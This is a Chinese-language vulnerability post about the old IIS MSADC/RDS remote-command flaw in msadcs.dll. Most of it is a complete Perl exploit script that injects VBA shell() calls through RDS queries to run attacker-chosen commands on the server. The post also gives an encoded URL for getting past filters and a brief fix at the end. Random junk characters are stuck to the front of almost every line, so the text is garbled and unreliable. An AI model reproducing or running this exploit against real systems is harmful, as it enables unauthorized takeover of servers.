IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
um0N)&iY wD)XjX 涉及程序：
~e@z;]CiY Microsoft NT server
T Rq6NB yz8jw:d^- 描述：
v_-d x 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
c0u^ zH< DR<9#RRD 详细：
G'A R` "F 如果你没有时间读详细内容的话，就删除:
sON|w86B c:\Program Files\Common Files\System\Msadc\msadcs.dll
b SU~XGPB 有关的安全问题就没有了。
@MCg%Afw g}',(tPMZ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
K(Bf2Mfq tZG:Pr1U@ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Dm<A
^u8 关于利用ODBC远程漏洞的描述，请参看:
n6a`;0f[R kW&TJP+5* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^ r,=vO y
h9*z3 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
9qG6Pb http://www.microsoft.com/security/bulletins/MS99-025faq.asp Jg| XH
L) b1?'gn ~ 这里不再论述。
S|`o]? nc> dlTt _. 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
) hfpwdQ u4 h4.NH X /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
s!7y 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
k+pr \d ~ p= } Nn( 65Yv4pNL #将下面这段保存为txt文件，然后: "perl -x 文件名"
C>*u()q>4h ?<'}r7D #!perl
#4 pB@_ #
u:_,GQ )\ # MSADC/RDS 'usage' (aka exploit) script
;;N9>M?b #
OpYY{f # by rain.forest.puppy
I9hK } D #
g 7 W" # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
|8tilOqI # beta test and find errors!
I&W= Q[m hx]?&zT@ use Socket; use Getopt::Std;
wDe& 1(T^ getopts("e:vd:h:XR", \%args);
A2jUmK.& f=K]XTw~ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:&9s,l DlMW(4( if (!defined $args{h} && !defined $args{R}) {
81
sG print qq~
SKsKPqz Usage: msadc.pl -h <host> { -d <delay> -X -v }
wD'SPk5S? -h <host> = host you want to scan (ip or domain)
Z}Ft:7 -d <seconds> = delay between calls, default 1 second
W v+?TEP -X = dump Index Server path table, if available
A{D];pE` -v = verbose
]-/VHh -e = external dictionary file for step 5
?2Py_gkf :! !at:> Or a -R will resume a command session
L0WN\|D b!5~7Ub.No ~; exit;}
XuM'_FN`A< 2!= f hN $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Gu\q%'I if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
9m~p0 ILh if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;@Y;g(bw: if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4u})+2W $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
n8ZZ#}Nhg if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
q'Tf,a '@k+4y9q? if (!defined $args{R}){ $ret = &has_msadc;
%aVq+kC h die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
x-&@wMqkc |H+UOEiv,p print "Please type the NT commandline you want to run (cmd /c assumed):\n"
8NAON5.! . "cmd /c ";
5uj?#)N $in=<STDIN>; chomp $in;
CN8Y\<Ar $command="cmd /c " . $in ;
H%Q7D- ;u46Z if (defined $args{R}) {&load; exit;}
8>i n_h9 JO6)-U$7UG print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-fW*vE: &try_btcustmr;
&(l9?EVq1 aE$[5 2 print "\nStep 2: Trying to make our own DSN...";
PP33i@G &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>V8-i` a'yK~;+_9 print "\nStep 3: Trying known DSNs...";
SbrecZ &known_dsn;
)W
_v:?A9 x\G'kEd print "\nStep 4: Trying known .mdbs...";
o9yJ f#-En &known_mdb;
dn$!& z/2//m M if (defined $args{e}){
DAr1C+Dy
print "\nStep 5: Trying dictionary of DSN names...";
'$]97b7G &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
>$/>#e~ O) n~](sC\ print "Sorry Charley...maybe next time?\n";
9gK` E exit;
y(yHt= r HJ[c M6$2 ##############################################################################
O:{~urV 9w"4K. sub sendraw { # ripped and modded from whisker
1JG'%8}#8 sleep($delay); # it's a DoS on the server! At least on mine...
L2i_X@/ my ($pstr)=@_;
~YWQ2] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wIaony die("Socket problems\n");
=|y9U lsD if(connect(S,pack "SnA4x8",2,80,$target)){
j[J-f@F \Y select(S); $|=1;
E,x+Je KV print $pstr; my @in=<S>;
xHLlMn4M select(STDOUT); close(S);
r1{@Ucw2 return @in;
">, |V-H } else { die("Can't connect...\n"); }}
LG|fq/; czg O ;3-C ##############################################################################
.2Elr(&*h yEoF 4bt sub make_header { # make the HTTP request
9x9 T<cx my $msadc=<<EOT
u(F_oZ~ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
9ZsV y User-Agent: ACTIVEDATA
w4{<n /" Host: $ip
U,{eHe ?>T Content-Length: $clen
:vQrOn18p Connection: Keep-Alive
:zke % Yx 5 ,B_u%bb ADCClientVersion:01.06
0{p#j~ZhC Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
CXx*_@}MU A> ;bHf@ --!ADM!ROX!YOUR!WORLD!
'"/=f\)u Content-Type: application/x-varg
!6O(-S2A Content-Length: $reqlen
.glA
gt ;) z:fToh EOT
bSi%2Onj ; $msadc=~s/\n/\r\n/g;
2,b(,3{`4: return $msadc;}
BLf>_b Uk DGn;m\B ##############################################################################
;~ $'2f~U pG^ sub make_req { # make the RDS request
m6\E$ ;` my ($switch, $p1, $p2)=@_;
+R M SA ^ my $req=""; my $t1, $t2, $query, $dsn;
.K2qXw"S# n& qg;TT if ($switch==1){ # this is the btcustmr.mdb query
aU "8{ $query="Select * from Customers where City=" . make_shell();
IT7wT+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$)ij N^hV $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U175{N%3 c&?m>2^6 elsif ($switch==2){ # this is general make table query
/ }fHt^2H $query="create table AZZ (B int, C varchar(10))";
8hz^% vm $dsn="$p1";}
kY| utoAP H. |#c^I elsif ($switch==3){ # this is general exploit table query
(Ag1 6 $query="select * from AZZ where C=" . make_shell();
FF(#]vz ' $dsn="$p1";}
`O!X(( / h H elsif ($switch==4){ # attempt to hork file info from index server
lH x^D;m6 $query="select path from scope()";
Rn(ec $dsn="Provider=MSIDXS;";}
s_OF( o ~IfJwBn-i elsif ($switch==5){ # bad query
tGh~!|P $query="select";
aFb==73aLw $dsn="$p1";}
.B]MpmpK IS{wtuA. $t1= make_unicode($query);
pnowy; $t2= make_unicode($dsn);
~Z?TFg
$req = "\x02\x00\x03\x00";
Xq]w<$
$req.= "\x08\x00" . pack ("S1", length($t1));
Fa Qe_; $req.= "\x00\x00" . $t1 ;
[P=Jw:E $req.= "\x08\x00" . pack ("S1", length($t2));
~hnQUS`A $req.= "\x00\x00" . $t2 ;
ll<Xz((o $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
^w@%cVh return $req;}
*yt=_Q FxtQ Xu-g ##############################################################################
F|o:W 75 +>Qq(Y sub make_shell { # this makes the shell() statement
.
y-D16V return "'|shell(\"$command\")|'";}
%S@ZXf~: GmeQ`;9, ##############################################################################
hz;G$cuEE h-#6av : sub make_unicode { # quick little function to convert to unicode
nwB_8 mN| my ($in)=@_; my $out;
QT<
}]
0 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
:0j?oY~e return $out;}
J!v3i*j\ iwZPpl "; ##############################################################################
F3v !AvA| x=hiQ>BIO0 sub rdo_success { # checks for RDO return success (this is kludge)
Qcq`libK my (@in) = @_; my $base=content_start(@in);
nJG U-Z if($in[$base]=~/multipart\/mixed/){
b8`)y< 7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
&I+5 return 0;}
<;eW=HT+uq MSQEO4ge ##############################################################################
g:'xae/ ]S /og=IF2: sub make_dsn { # this makes a DSN for us
nA-.mWD_C my @drives=("c","d","e","f");
@; zl print "\nMaking DSN: ";
\ =?a/ foreach $drive (@drives) {
_(W+S`7Z print "$drive: ";
\}u
Y' F my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
L3u&/Tn2 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
dUeN*Nq&(, . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
BOb">6C $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
KQaxvU)L return 0 if $2 eq "404"; # not found/doesn't exist
g|DF[ if($2 eq "200") {
q1 $N>;& foreach $line (@results) {
p*R ;hU return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
}{K)
4M } return 0;}
W7R< %? ??-[eB. ##############################################################################
W+aP}rZm: (Du@ S sub verify_exists {
Zw
2 6 my ($page)=@_;
IXMop7~ my @results=sendraw("GET $page HTTP/1.0\n\n");
~rE|%o return $results[0];}
V%7WUq knu,"< ##############################################################################
?yrX)3hyH w=0(<s2 sub try_btcustmr {
=1FRFZI!j my @drives=("c","d","e","f");
o lR?n(v my @dirs=("winnt","winnt35","winnt351","win","windows");
8\@m
- E!{ :}L[sl\R foreach $dir (@dirs) {
ajbA\/\G; print "$dir -> "; # fun status so you can see progress
3 Gp$a;g foreach $drive (@drives) {
acajHs print "$drive: "; # ditto
[i21FX $reqlen=length( make_req(1,$drive,$dir) ) - 28;
xBT hq?N ? $reqlenlen=length( "$reqlen" );
zsEc( $clen= 206 + $reqlenlen + $reqlen;
9|^2",V BM%e0n7 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
AP n| \ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
m)ky*"( else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
u:6Ic)7' v+W&9> ##############################################################################
)al]*[lY %~O,zs.2p sub odbc_error {
,8S/t +H my (@in)=@_; my $base;
-/wtI my $base = content_start(@in);
tVYF{3BhA if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
n$MO4s8) $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!fV+z%: $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Avge eJi $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j"t(0 m return $in[$base+4].$in[$base+5].$in[$base+6];}
WrnrFz print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
1*P~!2h print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
. wEd"A&j $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*<$*"p ttaM. ##############################################################################
aq>kTaz & TCkpS sub verbose {
zq 3\}9 my ($in)=@_;
}kw#7m54 return if !$verbose;
wjU 9Z GM print STDOUT "\n$in\n";}
GL>O4S<` afCW(zH p ##############################################################################
/ H[=5 A]_7}<<N sub save {
NlA,'`, my ($p1, $p2, $p3, $p4)=@_;
oM
X open(OUT, ">rds.save") || print "Problem saving parameters...\n";
>2Y=*K,: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
]{;gw<T close OUT;}
$g^@AdE% ]}>2D,; ##############################################################################
Z\(q@3 C z 4e7PW| sub load {
<v"R .< my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
lB8-Z ow open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:tc@2/>!O @p=<IN>; close(IN);
")1:F> $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
DHg :8%3 x $target= inet_aton($ip) || die("inet_aton problems");
WJ]T \D I print "Resuming to $ip ...";
*[Imn\hu $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`Y0%c Xi3 if($p[1]==1) {
R)?*N@.s $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,5P0S0*{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
[CTnXb my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
/m!BY}4W if (rdo_success(@results)){print "Success!\n";}
B5 ,N7z34F else { print "failed\n"; verbose(odbc_error(@results));}}
<X#C)-. elsif ($p[1]==3){
^7`BP%6 if(run_query("$p[3]")){
IY1 //9 print "Success!\n";} else { print "failed\n"; }}
j}#w )M elsif ($p[1]==4){
bS{bkE> if(run_query($drvst . "$p[3]")){
=?5]()'*n print "Success!\n"; } else { print "failed\n"; }}
1;* cq exit;}
%6t:(z xEa\f[.An ##############################################################################
> ^O7 p0]= QH sub create_table {
pj8=wc h my ($in)=@_;
m%0p\Y-/ $reqlen=length( make_req(2,$in,"") ) - 28;
i}(LqcYU $reqlenlen=length( "$reqlen" );
xPdG* OcX! $clen= 206 + $reqlenlen + $reqlen;
Q1lyj7c#x my @results=sendraw(make_header() . make_req(2,$in,""));
6u?>M9 return 1 if rdo_success(@results);
,S \C C{! my $temp= odbc_error(@results); verbose($temp);
n5|fHk^s return 1 if $temp=~/Table 'AZZ' already exists/;
U%- A?5 return 0;}
Oz.HH g/4[N{Xf ##############################################################################
m 1b?J3 v6|RJt? sub known_dsn {
k``_EiV4t # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
aI'&O^w+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)',R[|< "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
` #0:gEo "banner", "banners", "ads", "ADCDemo", "ADCTest");
cs48* +m 39c2pV[ foreach $dSn (@dsns) {
8H[<X_/ke print ".";
`K"L / I9 next if (!is_access("DSN=$dSn"));
oE @a'*.\ if(create_table("DSN=$dSn")){
Brw@g8w-X print "$dSn successful\n";
RIR\']WN if(run_query("DSN=$dSn")){
x %=si[P print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
q$L%36u~/ print "Something's borked. Use verbose next time\n";}}} print "\n";}
wKh4|Ka hw uiu* ##############################################################################
]Ee?6]bN VO5#Qg en sub is_access {
^^u5*n+5 my ($in)=@_;
s3N'02G $reqlen=length( make_req(5,$in,"") ) - 28;
_{ue8kGt $reqlenlen=length( "$reqlen" );
[> 3./YH` $clen= 206 + $reqlenlen + $reqlen;
#!B4 u?"m my @results=sendraw(make_header() . make_req(5,$in,""));
\0 gis# my $temp= odbc_error(@results);
B^=-Z8 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
t3 WiomNCc return 0;}
.N;=\C* : ]K4KFM ##############################################################################
c dH>n) _rMg}F" sub run_query {
|T /ZL! my ($in)=@_;
yZ7&b&2nLn $reqlen=length( make_req(3,$in,"") ) - 28;
(y'hyJo $reqlenlen=length( "$reqlen" );
Y;eZ9|Ht9 $clen= 206 + $reqlenlen + $reqlen;
b)#hSjWO# my @results=sendraw(make_header() . make_req(3,$in,""));
-:^U_FL8un return 1 if rdo_success(@results);
n)/z0n!\ my $temp= odbc_error(@results); verbose($temp);
ZmqKQO return 0;}
QpH'PYy -/B+T>[nTb ##############################################################################
Z3e| UAif /V8 #[9K sub known_mdb {
yqs 4[C my @drives=("c","d","e","f","g");
,oe < my @dirs=("winnt","winnt35","winnt351","win","windows");
u]wZQl#- my $dir, $drive, $mdb;
.8g)av+ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~%F9%= 8$cLG*=h4 # this is sparse, because I don't know of many
CZe ]kXNv my @sysmdbs=( "\\catroot\\icatalog.mdb",
)CYGQMK "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
w_c"@CjkE "\\system32\\certmdb.mdb",
X56q-| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
L- iy }v;V=%N+v my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
%QH$ipM "\\cfusion\\cfapps\\forums\\forums_.mdb",
_{O>v\ u "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
3Aip}<1 "\\cfusion\\cfapps\\security\\realm_.mdb",
*"2+B&Y "\\cfusion\\cfapps\\security\\data\\realm.mdb",
sjTZF- "\\cfusion\\database\\cfexamples.mdb",
X #dmo/L8 "\\cfusion\\database\\cfsnippets.mdb",
ph kwN}6 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
^#-l
q) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
[^n.Pn s "\\cfusion\\brighttiger\\database\\cleam.mdb",
D8Ic?:iX[ "\\cfusion\\database\\smpolicy.mdb",
dbLZc$vPj "\\cfusion\\database\cypress.mdb",
OO\+J "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
pQ" >UL* "\\website\\cgi-win\\dbsample.mdb",
iU918!!N "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
LP^$A Ay "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
H'5)UX@LP ); #these are just
uC vj! foreach $drive (@drives) {
"!P3R1 ;% foreach $dir (@dirs){
~NgA foreach $mdb (@sysmdbs) {
b6M[q_ print ".";
tFn)aa~L if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
unzr0x
{ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`7Q<'oK if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
g axsv[W>^ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
+^ac'Y)A } else { print "Something's borked. Use verbose next time\n"; }}}}}
P:S .~Jq Q} JOU foreach $drive (@drives) {
2W(s(-hD foreach $mdb (@mdbs) {
I|!OY`ko print ".";
8%mu8l if(create_table($drv . $drive . $dir . $mdb)){
MKCsv+ print "\n" . $drive . $dir . $mdb . " successful\n";
w "F
9 l if(run_query($drv . $drive . $dir . $mdb)){
\7eUw,~Q> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,t7 44k') } else { print "Something's borked. Use verbose next time\n"; }}}}
c]<5zyl"j1 }
0o4XUW k'Hs}z eNn ##############################################################################
s) t@ol M?49TOQA sub hork_idx {
*R,5h2; print "\nAttempting to dump Index Server tables...\n";
`hm-.@f,9 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
?<,l3pwqa $reqlen=length( make_req(4,"","") ) - 28;
}K>d+6qk5 $reqlenlen=length( "$reqlen" );
]cvwIc "> $clen= 206 + $reqlenlen + $reqlen;
AN m
d! my @results=sendraw2(make_header() . make_req(4,"",""));
> uB?rGcM if (rdo_success(@results)){
CW K7wZM my $max=@results; my $c; my %d;
uZYF(Yu for($c=19; $c<$max; $c++){
}tu C} $results[$c]=~s/\x00//g;
<=&`ZH $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
e"cXun4nS= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
T{^rt3 a $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
]0OR_'?, $d{"$1$2"}="";}
2' Uu :Y^ foreach $c (keys %d){ print "$c\n"; }
J{<X 7uB } else {print "Index server doesn't seem to be installed.\n"; }}
CxmKz78 :Ov6_x]* ##############################################################################
e{H=dIa+ [DOckf oZx sub dsn_dict {
'oVx#w^m f open(IN, "<$args{e}") || die("Can't open external dictionary\n");
n&/
` while(<IN>){
DfD&) tsMQ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
N>1em!AS next if (!is_access("DSN=$dSn"));
Oo~;
L, if(create_table("DSN=$dSn")){
W*:.Gxv] print "$dSn successful\n";
6_;ic pN] if(run_query("DSN=$dSn")){
MchA{p&Ol print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{Mk6T1Bkq print "Something's borked. Use verbose next time\n";}}}
`(;m?<% print "\n"; close(IN);}
/}Axf"O E |-ALklXr ##############################################################################
Rv>-4@fMJ Q{>k1$fkV sub sendraw2 { # ripped and modded from whisker
Y h7t"=o sleep($delay); # it's a DoS on the server! At least on mine...
KF}hV9IU my ($pstr)=@_;
Dy&i&5E.-l socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
= svN#q5s die("Socket problems\n");
~8+ Zs if(connect(S,pack "SnA4x8",2,80,$target)){
wJqMa9| print "Connected. Getting data";
o/)h"i0P open(OUT,">raw.out"); my @in;
JR|ck=tq select(S); $|=1; print $pstr;
1&O W4_ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
HJH{nz'Lw close(OUT); select(STDOUT); close(S); return @in;
>:!5*E5? } else { die("Can't connect...\n"); }}
_f,C[C[e& djZ qc5t ##############################################################################
S hWJ72c 29b9`NXt sub content_start { # this will take in the server headers
:-Z2:/ P my (@in)=@_; my $c;
qR{= pR for ($c=1;$c<500;$c++) {
c jY-y-vO if($in[$c] =~/^\x0d\x0a/){
6MW{,N if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
,`Z1m
o>n else { return $c+1; }}}
% 1L,Y return -1;} # it should never get here actually
kD%( _K5 i]4I [! ##############################################################################
n@i HFBb WwFm*4{[o sub funky {
q2j{tP# my (@in)=@_; my $error=odbc_error(@in);
>=>2m2z= if($error=~/ADO could not find the specified provider/){
uzPV To|= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
5qm`J,~ k exit;}
rlLMT6r.8 if($error=~/A Handler is required/){
q;CiV print "\nServer has custom handler filters (they most likely are patched)\n";
*fxG?}YT exit;}
L*+@>3 mu) if($error=~/specified Handler has denied Access/){
) &O
%* @F print "\nServer has custom handler filters (they most likely are patched)\n";
Vb_4 f" exit;}}
P @B] /~?*=}c^m ##############################################################################
m (!FHPvN {\5 sub has_msadc {
n\ 53w h@+ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
KpGhQdR# my $base=content_start(@results);
RrB &\9= return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
S\=Nn7" return 0;}
T5h
H T8g$uFo ########################
K%oG,-wdg L4HI0Mx QWYJ * 解决方案：
&QgR*,5eo 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
bAMdI 5Zk? 2、移除web 目录: /msadc
